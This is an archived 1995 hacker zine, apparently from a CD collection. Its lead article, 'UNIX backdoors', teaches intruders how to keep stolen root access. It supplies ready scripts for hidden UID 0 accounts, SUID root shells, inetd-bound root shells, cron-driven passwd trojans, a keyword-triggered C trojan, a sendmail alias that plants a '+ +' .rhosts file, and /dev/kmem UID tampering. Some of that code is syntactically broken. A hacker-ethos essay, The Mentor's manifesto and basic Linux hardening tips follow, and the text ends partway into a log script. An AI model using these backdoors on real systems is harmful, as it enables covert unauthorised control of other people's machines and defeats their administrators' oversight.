home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / n_z / tic2.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  70.7 KB  |  1,855 lines

  1.  
  2.  
  3.           T H E  I N F I N I T Y   C O N C E P T
  4.                ```   ```
  5.               `   ``    `
  6.                ```   ```
  7.  
  8.  
  9.  
  10.               .oO____Oo.
  11.  
  12.  
  13. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~The Infinity Concept~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  14.              . Issue #2 .
  15.             . Fall  1995 .
  16.  
  17. -=-=-=-=-=-=-=-=-=Brought to you by the members and associates of-=-=-=-=-=-=
  18.  
  19. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-the Guild=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  20.  
  21.        |     Route, Nihil, Carbonboy      |
  22.        |  Squidge, Mythrandir, Delirium   |
  23.        | Alhambra, MrZippy, Cheshire, Zem |
  24.  
  25.                  url's
  26.                 -------
  27.        ftp://onyx.infonexus.com/pub/Guild/
  28.        http://hops.cs.jhu.edu~/jed
  29.        http://homepage.interaccess.com/~rpfries/
  30.  
  31.  
  32.  
  33. ------------------------------------------------------------------------------
  34. Fall 1995            |  The Infinity Concept  |               issue 2
  35. ------------------------------------------------------------------------------
  36.  
  37.  
  38.  
  39.       In this issue...
  40.  
  41.       1).UNIX backdoors................Route
  42.       2).Hacker Hype..............Mythrandir
  43.       3).Linux Security Basics......Deliryum
  44.       4).Halloween Lore.............Deliryum
  45.       5).'A Word to The Wise'.......Deliryum
  46.       6).Intro to Van Eck Devices....RPFries
  47.  
  48.  
  49.  
  50.  
  51.  
  52.      Tell me and I forget.
  53.      Teach me and I remember.
  54.      Involve me and I learn.
  55.  
  56.               -- Ben Franklin
  57.  
  58.  
  59.               .oO____Oo.
  60.  
  61.  
  62.  
  63.     [Introduction]
  64.  
  65.  
  66.     Welcome back to the offical Pursuit of Knowledge, this, the second
  67. issue of The Infinity Concept.  There have some membership changes in the
  68. Guild in the last few months.  Topher and JFP have both stepped down for very
  69. different reasons.  They still remain on great terms and are welcomed back at
  70. anytime they see fit to return.
  71.     We had many votes of confidence and kudos from you guys on the first
  72. issue, and I hope this issue to be more of the same.  Probably the biggest
  73. change is my new site, infonexus.com.  By the time you read this it should
  74. be up and running (it has been HELL getting my provider to run with the ball).
  75. The ftpsite has moved there (expanded tremendously), and it is now thw basis
  76. for my operations.  It is homesite of the Guild, and of Mike Scanlons zine
  77. HACKERS.  I have the site locked down rather tightly, and for more info on
  78. it, email me.
  79.     Already looking ahead to next issue, I plan to be do a techincal
  80. article either on giga-bit networking technologies (B-ISDN, ATM, SONET,
  81. etc) or firewall theory and architecture.  If  anyone has *ANY* article
  82. suggestions, or submissions, please email me.
  83.  
  84.  
  85.  
  86. *note* This issue is coming out a bit early, and as such, Mythrandir and
  87. Nihil did not have time to submit their main articles.  An special edition
  88. or an early next issue will contain there articles....
  89.  
  90.  
  91.  
  92. Now, on with the show...
  93.  
  94.  
  95.  
  96.     -Route
  97.  
  98.  
  99.               .oO____Oo.
  100.  
  101.  
  102.  
  103.     ______________________________________________________________
  104.     |UNIX backdoors                                               |
  105.     |________________________(Keeping root in your hippocket)_____|
  106.  
  107.  
  108.             by Infinity 9/95
  109.  
  110.  
  111.  
  112.  
  113.     --[Abstract]--
  114.  
  115.  
  116.     Ok..... You've been at it for all night.  Trying all the exploits you
  117. can think of.  The system seems tight.  The system looks tight.  The system
  118. *is* tight.  You've tried everything.  Default passwds, guessable passwds,
  119. NIS weaknesses,  NFS holes, incorrect permissions, race conditions, SUID
  120. exploits, Sendmail bugs, and so on... Nothing.  WAIT!  What's that!?!?
  121. A "#" ????  Finally!  After seeming endless toiling, you've managed to steal
  122. root.  Now what?  How do you hold onto this precious super-user privilege you
  123. have worked so hard to achieve....?
  124.     This article is intended to show you how to hold onto root once you
  125. have it.  It is intended for hackers and administrators alike.  From a
  126. hacking perspective, it is obvious what good this paper will do you.  Admin's
  127. can likewise benefit from this paper.  Ever wonder how that pesky hacker
  128. always manages to pop up, even when you think you've completely eradicated
  129. him from your system?
  130.     This list is BY NO MEANS comprehensive.  There are as many ways to
  131. leave backdoors into a UNIX computer as there are ways into one.
  132.  
  133.  
  134.     --[Beforehand...]--
  135.  
  136.     Know the location of critical system files.  This should be obvious
  137. (If you can't list any of the top of your head, stop reading now, get a book
  138. on UNIX, read it, then come back to me...).  Familiarity with passwd file
  139. formats (including general 7 field format, system specific naming conventions,
  140. shadowing mechanisms, etc...).  Know vi.  Many systems will not have those
  141. robust, user-friendly editors such as Pico and Emacs.  Vi is also quite
  142. useful for needing to quickly seach and edit a large file.  If you are
  143. connecting remotely (via dial-up/telnet/rlogin/whatver) it's always nice to
  144. have a robust terminal program that has a nice, FAT scrollback buffer.  This
  145. will come in handy if you want to cut and paste code, rc files, shell scripts,
  146. etc...
  147.     The permenance of these backdoors will depend completely on the
  148. technical saavy of the administrator.  The experienced and skilled
  149. administrator will be wise to many (if not all) of these backdoors.  But, if
  150. you have managed to steal root, it is likely the admin isn't as skilled (or up
  151. to date on bug reports) as she should be, and many of these doors may be in
  152. place for some time to come.  One major thing to be aware of, is the fact
  153. that if you can cover you tracks during the initial break-in, no one will be
  154. looking for back doors.
  155.  
  156.  
  157.     --[The Overt]--
  158.  
  159.  
  160.     [1] Add a UID 0 account to the passwd file.  This is probably the most
  161. obvious and quickly discovered method of rentry.  It flies a red flag to the
  162. admin, saying "WE'RE UNDER ATTACK!!!".  If you must do this, my advice is DO
  163. NOT simply prepend or append it.  Anyone causally examining the passwd file
  164. will see this.  So, why not stick it in the middle...
  165.  
  166. ------------------------------------8<----------------------------------------
  167. #!/bin/csh
  168. # Inserts a UID 0 account into the middle of the passwd file.
  169. # There is likely a way to do this in 1/2 a line of AWK or SED.  Oh well.
  170. # daemon9@netcom.com
  171.  
  172. set linecount = `wc -l /etc/passwd`
  173. cd                                      # Do this at home.
  174. cp /etc/passwd ./temppass               # Safety first.
  175. echo passwd file has $linecount[1] lines.
  176. @ linecount[1] /= 2
  177. @ linecount[1] += 1                     # we only want 2 temp files
  178. echo Creating two files, $linecount[1] lines each \(or approximately that\).
  179. split -$linecount[1] ./temppass         # passwd string optional
  180. echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
  181. cat ./xab >> ./xaa
  182. mv ./xaa /etc/passwd
  183. chmod 644 /etc/passwd                   # or whatever it was beforehand
  184. rm ./xa* ./temppass
  185. echo Done...
  186. ------------------------------------8<----------------------------------------
  187.  
  188.     NEVER, EVER, change the root password.  The reasons are obvious.
  189.  
  190.     [2] In a similar vein, enable a disabled account as UID 0, such as
  191. Sync.  Or, perhaps, an account somwhere buried deep in the passwd file has
  192. been abandoned, and disabled by the sysadmin.  Change her UID to 0 (and remove
  193. the '*' from the second field).
  194.  
  195.     [3] Leave an SUID root shell in /tmp.
  196.  
  197. ------------------------------------8<----------------------------------------
  198. #!/bin/sh
  199. # Everyone's favorite...
  200.  
  201. cp /bin/csh /tmp/.evilnaughtyshell      # Don't name it that...
  202. chmod 4755 /tmp/.evilnaughtyshell
  203. ------------------------------------8<----------------------------------------
  204.  
  205. Many systems run cron jobs to clean /tmp nightly.  Most systems clean /tmp
  206. upon a reboot.  Many systems have /tmp mounted to disallow SUID programs
  207. from executing.  You can change all of these, but if the filesystem starts
  208. filling up, people may notice...but, hey, this *is* the overt section....).
  209. I will not detail the changes neccessary because they can be quite system
  210. specific.  Check out /var/spool/cron/crontabs/root and /etc/fstab.
  211.  
  212.  
  213.  
  214.     --[The Veiled]--
  215.  
  216.  
  217.     [4] The super-server configuration file is not the first place a
  218. sysadmin will look, so why not put one there?  First, some background info:
  219. The Internet daemon (/etc/inetd) listens for connection requests on TCP and
  220. UDP ports and spawns the appropriate program (usally a server) when a
  221. connection request arrives.  The format of the /etc/inetd.conf file is simple.
  222. Typical lines look like this:
  223.  
  224. (1)     (2)     (3)     (4)     (5)     (6)             (7)
  225. ftp     stream  tcp     nowait  root    /usr/etc/ftpd   ftpd
  226. talk    dgram   udp     wait    root    /usr/etc/ntalkd ntalkd
  227.  
  228. Field (1) is the daemon name that should appear in /etc/services.  This tells
  229. inetd what to look for in /etc/services to determine which port it should
  230. associate the program name with.  (2) tells inetd which type of socket
  231. connection the daemon will expect.  TCP uses streams, and UDP uses datagrams.
  232. Field (3) is the protocol field which is either of the two transport
  233. protocols, TCP or UDP.  Field (4) specifies whether or not the daemon is
  234. iterative or concurrent.  A 'wait' flag indicates that the server will
  235. process a connection and make all subsequent connections wait.  'Nowait'
  236. means the server will accept a connection, spawn a child process to handle
  237. the connection, and then go back to sleep, waiting for further connections.
  238. Field (5) is the user (or more inportantly, the UID) that the daemon is run
  239. as.  (6) is the program to run when a connection arrives, and (7) is the
  240. actual command (and optional arguments).  If the program is trivial (usally
  241. requiring no user interaction) inetd may handle it internally.  This is done
  242. with an 'internal' flag in fields (6) and (7).
  243.     So, to install a handy backdoor, choose a service that is not used
  244. often, and replace the daemon that would normally handle it with something
  245. else.  A program that creates an SUID root shell, a program that adds a root
  246. account for you in the /etc/passwd file, etc...
  247.     For the insinuation-impaired, try this:
  248.  
  249. Open the /etc/inetd.conf in an available editor.  Find the line that reads:
  250.  
  251.     daytime stream  tcp     nowait  root    internal
  252.  
  253. and change it to:
  254.  
  255.     daytime stream  tcp     nowait /bin/sh  sh -i.
  256.  
  257. You now need to restart /etc/inetd so it will reread the config file.  It
  258. is up to you how you want to do this.  You can kill and restart the
  259. process, (kill -9 <PID of inetd>, /usr/sbin/inetd or /usr/etc/inetd) which
  260. will interuppt ALL network connections (so it is a good idea to do this off
  261. peak hours).
  262.  
  263.     [5] An option to compromising a well known service would be to
  264. install a new one, that runs a program of your choice.  One simple solution
  265. is to set up a shell the runs similar to the above backdoor.  You need to
  266. make sure the entry appears in /etc/services as well as in /etc/inetd.conf.
  267. The format of the /etc/services file is simple:
  268.  
  269. (1)     (2)/(3)         (4)
  270. smtp    25/tcp          mail
  271.  
  272. Field (1) is the service, field (2) is the port number, (3) is the protocol
  273. type the service expects, and (4) is the common name associated with the
  274. service.  For instance, add this line to /etc/services:
  275.  
  276.     evil    22/tcp          evil
  277.  
  278. and this line to /etc/inetd.conf:
  279.  
  280.     evil    stream  tcp     nowait  /bin/sh sh -i
  281.  
  282. Restart inetd as before.
  283.  
  284.  
  285.     Note:  Potentially, these are a VERY powerful backdoors.  They not
  286. only offer local rentry from any account on the system, they offer rentry
  287. from *any* account on *any* computer on the Internet.
  288.  
  289.     [6] Cron-based trojan I.  Cron is a wonderful system administration
  290. tool.  It is also a wonderful tool for backdoors, since root's crontab will,
  291. well, run as root...  Again, depending on the level of experience of the
  292. sysadmin (and the implementation), this backdoor may or may not last.
  293. /var/spool/cron/crontabs/root is where root's list for crontabs is usally
  294. located.  Here, you have several options.  I will list a only few, as
  295. cron-based backdoors are only limited by your imagination.
  296.     Cron is the clock daemon. It is a tool for automatically executing
  297. commands at specified dates and times.  Crontab is the command used to add,
  298. remove, or view your crontab entries.  It is just as easy to manually edit
  299. the /var/spool/crontab/root file as it is to use crontab.  A crontab entry
  300. has six fields:
  301.  
  302. (1)   (2)    (3)    (4)     (5)     (6)
  303. 0    0 *    *  1    /usr/bin/updatedb
  304.  
  305.  
  306. Fields (1)-(5) are as follows: minute (0-59), hour (0-23), day of the month
  307. (1-31) month of the year (1-12), day of the week (0-6).  Field (6) is the
  308. command (or shell script) to execute.  The above shell script is executed on
  309. Mondays.  To exploit cron, simply add an entry into /var/spool/crontab/root.
  310. For example: You can have a cronjob that will run daily and look in the
  311. /etc/passwd file for the UID 0 account we previously added, and add him if
  312. he is missing, or do nothing otherwise (it may not be a bad idea to actually
  313. *insert* this shell code into an already installed crontab entry shell
  314. script, to further obfuscate your shady intentions).  Add this line to
  315. /var/spool/crontab/root:
  316.  
  317.     0  0    *  *    *  /usr/bin/trojancode
  318.  
  319.  
  320. This is the shell script:
  321. ------------------------------------8<----------------------------------------
  322. #!/bin/csh
  323. # Is our eviluser still on the system?  Let's make sure he is.
  324. #daemon9@netcom.com
  325.  
  326. set evilflag = (`grep eviluser /etc/passwd`)
  327.  
  328.  
  329. if($#evilflag == 0) then            # Is he there?
  330.  
  331.     set linecount = `wc -l /etc/passwd`
  332.     cd                                      # Do this at home.
  333.     cp /etc/passwd ./temppass               # Safety first.
  334.     @ linecount[1] /= 2
  335.     @ linecount[1] += 1                     # we only want 2 temp files
  336.     split -$linecount[1] ./temppass         # passwd string optional
  337.     echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
  338.     cat ./xab >> ./xaa
  339.     mv ./xaa /etc/passwd
  340.     chmod 644 /etc/passwd                   # or whatever it was beforehand
  341.     rm ./xa* ./temppass
  342.     echo Done...
  343. else
  344. endif
  345. ------------------------------------8<----------------------------------------
  346.  
  347.     [7] Cron-based trojan II.  This one was brought to my attention by
  348. our very own Mr. Zippy.  For this, you need a copy of the /etc/passwd file
  349. hidden somewhere.  In this hidden passwd file (call it /var/spool/mail/.sneaky)
  350. we have but one entry, a root account with a passwd of your choosing.  We run
  351. a cronjob that will, every morning at 2:30am (or every other morning), save a
  352. copy of the real /etc/passwd file, and install this trojan one as the real
  353. /etc/passwd file for one minute (synchronize swatches!).  Any normal user or
  354. process trying to login or access the /etc/passwd file would get an error, but
  355. one minute later, everything would be ok.  Add this line to root's crontab
  356. file:
  357.  
  358.     29 2    *  *    *  /bin/usr/sneakysneaky_passwd
  359.  
  360. make sure this exists:
  361.  
  362. #echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky
  363.  
  364.     and this is the simple shell script:
  365.  
  366. ------------------------------------8<----------------------------------------
  367. #!/bin/csh
  368. # Install trojan /etc/passwd file for one minute
  369. #daemon9@netcom.com
  370.  
  371. cp /etc/passwd /etc/.temppass
  372. cp /var/spool/mail/.sneaky /etc/passwd
  373. sleep 60
  374. mv /etc/.temppass /etc/passwd
  375. ------------------------------------8<----------------------------------------
  376.  
  377.     [8] Compiled code trojan.  Simple idea.  Instead of a shell script,
  378. have some nice C code to obfuscate the effects.  Here it is.  Make sure it
  379. runs as root.  Name it something innocous.  Hide it well.
  380.  
  381. ------------------------------------8<----------------------------------------
  382. /* A little trojan to create an SUID root shell, if the proper argument is
  383. given.  C code, rather than shell to hide obvious it's effects. */
  384. /* daemon9@netcom.com */
  385.  
  386.  
  387. #include<stdio.h>
  388.  
  389. #define KEYWORD "industry3"
  390. #define BUFFERSIZE 10
  391.  
  392. int main(argc, argv)
  393. int argc;
  394. char *argv[];{
  395.  
  396.     int i=0;
  397.  
  398.     if(argv[1]){            /* we've got an argument, is it the keyword? */
  399.  
  400.       if(!(strcmp(KEYWORD,argv[1]))){
  401.  
  402.             /* This is the trojan part. */
  403.        system("cp /bin/csh /bin/.swp121");
  404.        system("chown root /bin/.swp121");
  405.        system("chmod 4755 /bin/.swp121");
  406.       }
  407.     }
  408.             /* Put your possibly system specific trojan
  409.                messages here */
  410.             /* Let's look like we're doing something... */
  411.     printf("Sychronizing bitmap image records.");
  412.     /* system("ls -alR / >& /dev/null > /dev/null&"); */
  413.     for(;i<10;i++){
  414.       fprintf(stderr,".");
  415.       sleep(1);
  416.     }
  417.     printf("\nDone.\n");
  418.     return(0);
  419. } /* End main */
  420.  
  421. ------------------------------------8<----------------------------------------
  422.  
  423.  
  424.     [9] The sendmail aliases file.  The sendmail aliases file allows for
  425. mail sent to a particular username to either expand to several users, or
  426. perhaps pipe the output to a program.  Most well known of these is the
  427. uudecode alias trojan.  Simply add the line:
  428.  
  429.  "decode: "|/usr/bin/uudecode"
  430.  
  431.     to the /etc/aliases file.  Usally, you would then create a uuencoded
  432. .rhosts file with the full pathname embedded.
  433.  
  434. ------------------------------------8<----------------------------------------
  435. #! /bin/csh
  436.  
  437. # Create our .rhosts file.  Note this will output to stdout.
  438.  
  439. echo "+ +" > tmpfile
  440. /usr/bin/uuencode tmpfile /root/.rhosts
  441. ------------------------------------8<----------------------------------------
  442.  
  443.     Next telnet to the desired site, port 25.  Simply fakemail to decode
  444. and use as the subject body, the uuencoded version of the .rhosts file.  For
  445. a one liner (not faked, however) do this:
  446.  
  447. %echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@target.com
  448.  
  449.     You can be as creative as you wish in this case.  You can setup an
  450. alias that, when mailed to, will run a program of your choosing.  Many of
  451. the previous scripts and methods can be employed here.
  452.  
  453.  
  454.     --[The Covert]--
  455.  
  456.  
  457.     [10] Trojan code in common programs.  This is a rather sneaky method
  458. that is really only detectable by programs such tripwire.  The idea is
  459. simple:  insert trojan code in the source of a commonly used program.
  460. Some of most useful programs to us in this case are su, login and passwd
  461. because they already run SUID root, and need no permission modification.
  462. Below are some general examples of what you would want to do, after obtaining
  463. the correct sourcecode for the particular flavor of UNIX you are backdooring.
  464. (Note:  This may not always be possible, as some UNIX vendors are not so
  465. generous with thier sourcecode.)  Since the code is very lengthy and
  466. different for many flavors, I will just include basic psuedo-code:
  467.  
  468. get input;
  469. if input is special hardcoded flag, spawn evil trojan;
  470. else if input is valid, continue;
  471. else quit with error;
  472. ...
  473.  
  474.     Not complex or difficult.  Trojans of this nature can be done in
  475. less than 10 lines of additional code.
  476.  
  477.  
  478.  
  479.     --[The Esoteric]--
  480.  
  481.     [11] /dev/kmem exploit.  It represents the virtual of the system.
  482. Since the kernel keeps it's parameters in memory, it is possible to modify the
  483. memory of the machine to change the UID of your processes.  To do so requires
  484. that /dev/kmem have read/write permission.  The following steps are executed:
  485. Open the /dev/kmem device, seek to your page in memory, overwrite the UID of
  486. your current process, then spawn a csh, which will inherit this UID.  The
  487. following program does just that.
  488.  
  489. ------------------------------------8<----------------------------------------
  490. /* If /kmem is is readable and writable, this program will change the user's
  491. UID and GID to 0.  */
  492. /* This code originally appeared in "UNIX security:  A practical tutorial"
  493. with some modifications by daemon9@netcom.com */
  494.  
  495. #include <stdio.h>
  496. #include <fcntl.h>
  497. #include <sys/signal.h>
  498. #include <sys/param.h>
  499. #include <sys/types.h>
  500. #include <sys/dir.h>
  501. #include <sys/user.h>
  502.  
  503. #define KEYWORD "nomenclature1"
  504.  
  505. struct user userpage;
  506. long address(), userlocation;
  507.  
  508. int main(argc, argv, envp)
  509. int argc;
  510. char *argv[], *envp[];{
  511.  
  512.     int count, fd;
  513.     long where, lseek();
  514.  
  515.     if(argv[1]){            /* we've got an argument, is it the keyword? */
  516.       if(!(strcmp(KEYWORD,argv[1]))){
  517.        fd=(open("/dev/kmem",O_RDWR);
  518.  
  519.        if(fd<0){
  520.             printf("Cannot read or write to /dev/kmem\n");
  521.             perror(argv);
  522.             exit(10);
  523.        }
  524.  
  525.        userlocation=address();
  526.        where=(lseek(fd,userlocation,0);
  527.  
  528.        if(where!=userlocation){
  529.             printf("Cannot seek to user page\n");
  530.             perror(argv);
  531.             exit(20);
  532.        }
  533.  
  534.        count=read(fd,&userpage,sizeof(struct user));
  535.  
  536.        if(count!=sizeof(struct user)){
  537.             printf("Cannot read user page\n");
  538.             perror(argv);
  539.             exit(30);
  540.        }
  541.  
  542.        printf("Current UID: %d\n",userpage.u_ruid);
  543.        printf("Current GID: %d\n",userpage.g_ruid);
  544.  
  545.        userpage.u_ruid=0;
  546.        userpage.u_rgid=0;
  547.  
  548.        where=lseek(fd,userlocation,0);
  549.  
  550.        if(where!=userlocation){
  551.             printf("Cannot seek to user page\n");
  552.             perror(argv);
  553.             exit(40);
  554.        }
  555.  
  556.        write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));
  557.  
  558.        execle("/bin/csh","/bin/csh","-i",(char *)0, envp);
  559.       }
  560.     }
  561.  
  562. } /* End main */
  563.  
  564. #include<filehdr.h>
  565. #include<syms.h>
  566. #include<ldfcn.h>
  567.  
  568. #define LNULL ((LDFILE *)0)
  569.  
  570. long address(){
  571.  
  572.     LDFILE *object;
  573.     SYMENT symbol;
  574.     long idx=0;
  575.  
  576.     object=ldopen("/unix",LNULL);
  577.  
  578.     if(!object){
  579.       fprintf(stderr,"Cannot open /unix.\n");
  580.       exit(50);
  581.     }
  582.  
  583.     for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
  584.       if(!strcmp("_u",ldgetname(object,&symbol))){
  585.        fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
  586.        ldclose(object);
  587.        return(symbol.n_value);
  588.       }
  589.     }
  590.  
  591.     fprintf(stderr,"Cannot read symbol table in /unix.\n");
  592.     exit(60);
  593. }
  594. ------------------------------------8<----------------------------------------
  595.     [12] Since the previous code requires /dev/kmem to be world accessable,
  596. and this is not likely a natural event, we need to take care of this.  My
  597. advice is to write a shell script similar to the one in [7] that will change
  598. the permissions on /dev/kmem for a discrete amount of time (say 5 minutes)
  599. and then restore the original permissions.  You can add this source to the
  600. source in [7]:
  601.  
  602. ------------------------------------8<----------------------------------------
  603. chmod 666 /dev/kmem
  604. sleep 300      # Nap for 5 minutes
  605. chmod 600 /dev/kmem   # Or whatever it was before
  606. ------------------------------------8<----------------------------------------
  607.  
  608.               .oO____Oo.
  609.  
  610.  
  611.        ---------------------------
  612.        ----    Hacker  Hype   ----
  613.        ---- by, Mythrandir    ----
  614.        ---------------------------
  615.  
  616. The following is something that I wrote for the newsletter of my college's
  617. chapter of ACM.  The distribution is normally about 1000,  but also went out
  618. to all of those who were attending our conference at the time.  Steve Wozniak
  619. was also our keynote speaker.
  620.  
  621.     With the release of HACKERS, the supposed dark side of the internet has
  622. been thrust into the limelight once more.  As many of you may have noticed the
  623. media has taken a keen interesting in hackers as of late.  Several arrests have
  624. made national newspapers and magazines.  Unfortunately it seems that very
  625. little of the story is actually told.  The actors in this drama are often
  626. dehumanized and made out to be people of pure maliciousness.  Unfortunately,
  627. these are often people who are completely misunderstood, and even worse
  628. misrepresented by the media.  I myself have met several people who the media
  629. would consider hackers.  Some of these people do indeed fit into the stereo
  630. type that is portrayed by the media,  but the fact is that most of these people
  631. do not.  They are simply people who are striving for knowledge in a society
  632. that does not promote free access of information.  These are the people
  633. who were never allowed to follow their curiosity.  They were told to follow
  634. the paths and curriculum that was laid in front of them, because people older
  635. and wiser than them had formed them.  Many people were stunted and lost their
  636. drive for knowledge,  others broke free.  The fact is that
  637. these people are not all a bunch of people living in run down basements trying
  638. to destroy the network.  These people are everywhere, from every walk of life,
  639. living every type of lifestyle.  Being a hacker has nothing to do with race,
  640. religion, or sex.  It has but one criteria.  A burning desire to aquire
  641. knowledge. To know whatever it is that you do not know.  It is a quest that
  642. can never end,  and I believe it is the noblest.  It is an unwritten rule
  643. that one does not call him or herself a hacker.  The rule says that it is a
  644. title that is bestowed on you.  The fact is that being a hacker is something
  645. that you are born as.  It is neither earned nor bestowed.  It has nothing to
  646. do with power or control.  It is simply a way of being.  Are you a hacker?
  647.  
  648.     The following is the hackers creed that was referred to in the movie
  649. HACKERS.  Read it and judge for yourself.  It is a description of what many
  650. have experienced time and time again.  The quest for knowledge crushed.  But
  651. for many it cannot be driven out, for you see, knowledge yearns to be free.
  652.  
  653.                                                          Jeff Thompson
  654.                                                          ACM@UIUC Vice Chair
  655.                                                          SigNET Chair
  656.  
  657.  
  658.                 The following was written shortly after my arrest...
  659.  
  660.                        \/\The Conscience of a Hacker/\/
  661.  
  662.                                       by
  663.  
  664.                                +++The Mentor+++
  665.  
  666.                           Written on January 8, 1986
  667. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  668.  
  669.         Another one got caught today, it's all over the papers.
  670. "Teenager Arrested in Computer Crime Scandal", "Hacker Arrested after
  671. Bank Tampering"...
  672.  
  673.      Damn kids.  They're all alike.
  674.  
  675.         But did you, in your three-piece psychology and 1950's
  676. technobrain, ever take a look behind the eyes of the hacker?  Did you
  677. ever wonder what made him tick, what forces shaped him, what may have
  678. molded him?
  679.  
  680.      I am a hacker, enter my world...
  681.  
  682.      Mine is a world that begins with school... I'm smarter than most of
  683. the other kids, this crap they teach us bores me...
  684.  
  685.      Damn underachiever.  They're all alike.
  686.  
  687.         I'm in junior high or high school.  I've listened to teachers
  688. explain for the fifteenth time how to reduce a fraction.  I understand
  689. it.  "No, Ms. Smith, I didn't show my work.  I did it in my head..."
  690.  
  691.      Damn kid.  Probably copied it.  They're all alike.
  692.  
  693.         I made a discovery today.  I found a computer.  Wait a second,
  694. this is cool.  It does what I want it to.  If it makes a mistake, it's
  695. because I screwed it up.  Not because it doesn't like me...
  696.  
  697.         Or feels threatened by me...
  698.  
  699.         Or thinks I'm a smart ass...
  700.  
  701.         Or doesn't like teaching and shouldn't be here...
  702.  
  703.      Damn kid.  All he does is play games.  They're all alike.
  704.  
  705.         And then it happened... a door opened to a world... rushing
  706. through the phone line like heroin through an addict's veins, an
  707. electronic pulse is sent out, a refuge from the day-to-day
  708. incompetencies is sought... a board is found.
  709.  
  710.      "This is it... this is where I belong..."
  711.  
  712.      I know everyone here... even if I've never met them, never talked
  713. to them, may never hear from them again... I know you all...
  714.  
  715.      Damn kid.  Tying up the phone line again.  They're all alike...
  716.  
  717.         You bet your ass we're all alike... we've been spoon-fed baby
  718. food at school when we hungered for steak... the bits of meat that you
  719. did let slip through were pre-chewed and tasteless.  We've been
  720. dominated by sadists, or ignored by the apathetic.  The few that had
  721. something to teach found us willing pupils, but those few are like
  722. drops of water in the desert.
  723.  
  724.         This is our world now... the world of the electron and the
  725. switch, the beauty of the baud.  We make use of a service already
  726. existing without paying for what could be dirt-cheap if it wasn't run by
  727. profiteering gluttons, and you call us criminals.  We explore... and you
  728. call us criminals.  We seek after knowledge... and you call us
  729. criminals.  We exist without skin color, without nationality, without
  730. religious bias... and you call us criminals. You build atomic bombs, you
  731. wage wars, you murder, cheat, and lie to us and try to make us believe
  732. it's for our own good, yet we're the criminals.
  733.  
  734.         Yes, I am a criminal.  My crime is that of curiosity.  My crime
  735. is that of judging people by what they say and think, not what they look
  736. like. My crime is that of outsmarting you, something that you will never
  737. forgive me for.
  738.  
  739.         I am a hacker, and this is my manifesto.  You may stop this
  740. individual, but you can't stop us all... after all, we're all alike.
  741.  
  742.                                +++The Mentor+++
  743.  
  744.  
  745.  
  746.               .oO____Oo.
  747.  
  748.  
  749.                   Linux Security Basics -- by Deliryum
  750.  
  751.   This text will cover basic security questions reguarding the Linux operating
  752.   system. This is written for the "lay-man" in mind and thus will not go into
  753.   great technical lenths (such as firewalling, which is detailed in great lenth
  754.   in the FIREWALL howto). There is a good deal more information available on
  755.   this subject, but I hope this is still quite informative. :) As always bear in
  756.   mind that I am just a lowly human and becuase of which am proned to making
  757.   mistakes. So, please, if there are mistakes in this text please point them out
  758.   to me. Remember I am not responsible for anything that could result from
  759.   reading this document. Nausea, convulsions, brain damage, etc.. should
  760.   conditions persist seek imediate medical attention.. I repeat... :) Ok, enough
  761.   yacking, on to the info.
  762.  
  763. o Default accounts:
  764.  
  765. Linux does come with a few standard logon id's that are needed for its basic
  766. operation. Such as the root command, which doesn't have a password until you
  767. assign it one. Its a good idea to disable the passwords of any default account.
  768. This is done by putting a * in the password field of the /etc/passwd file. Also
  769. on this note, its probably not a good idea to make a "guest" account on your
  770. system. By this I mean an account where just anyone could login and have "guest
  771. access" on your system. Such, security wise, is rather bad.
  772.  
  773.  
  774. o Passwords:
  775.  
  776. Its amazing just how weakly this is enforced on some systems. A poorly chosen
  777. password will defeat any other security measures, you as a sysadmin, can
  778. envoke. Your users will, of course, want a password they don't have to think
  779. about or write down, but this just isn't a good thing. It should be something
  780. as difficult to crack as possible. With a combination of both letters and
  781. numbers. This cannot be stressed enough. The longer the better. A unix
  782. password can only be 8 letters long. This should never be a word in any
  783. language. Also your users should be aware that their password should not relate
  784. to them. An example of this is as such: Lets say one of your users is named Bob
  785. Jones and Mr jones uses jones1 as a password... Well folks.. that just won't do.
  786. It needs to bear no relation to that person.  Also, and this should be rather
  787. obvious, the root password should be as UNGODLY difficult in spelling as
  788. possible. This is, of course, the most important and powerful, account on your
  789. system and should be protected. There are other ways of gaining root access on a
  790. system than guessing that password, but ya shouldn't make it easy for an
  791. intruder. :)
  792.  
  793. o Idle accounts:
  794.  
  795. Idle accounts are accounts that are basically unused. The person it was made for
  796. either no longer uses it or has used it once or twice and doesn't plan on using
  797. it anymore. This is bad security wise, as it is an account by which access could
  798. be gained on your system. They need to be deleted.
  799.  
  800. o Action accounts:
  801.  
  802.  Action accounts (also known as command accounts) are those that have the
  803.  ability to be logoned to and they run a set command. Ie, if you allowed such
  804.  accounts one could login as finger and the finger command would run and then
  805.  disconnect that person. These should *not* be used.
  806.  
  807. o Remote commands:
  808.  
  809. The following commands should be commented out of your /etc/inetd.conf file.
  810. Finger, systat, and netstat (in most versions of linux this is stated in that
  811. file right above where those commands are listed). These commands would give
  812. information out to potential "system hackers" and is a bad idea becuase of this.
  813.  
  814. o System Logs:
  815.  
  816. A sysadmin should DEFINATLY pay close attention to these. These logs can help
  817. a sysadmin know more of what is going on on his system. Below are some scripts
  818. in Perl (you will need perl installed on your box for these to run) to better
  819. maintain your logs. You should run these in a cron job (the sysadmin's best
  820. friend) with sreport first and the archiver next so they are all in place still.
  821.  
  822. ************************************ cut here ************************
  823. #!/usr/bin/perl
  824.  
  825. # sreport v0.99 Copyright (C) 1995 Brett A. Thomas and RedCloud
  826. # Software.  This product is freeware, and may be freely distributed
  827. # as long as it isn't charged for.  Email quark@baz.com with any
  828. # questions.
  829.  
  830. # An important item to bear in mind about this script is that it deals with
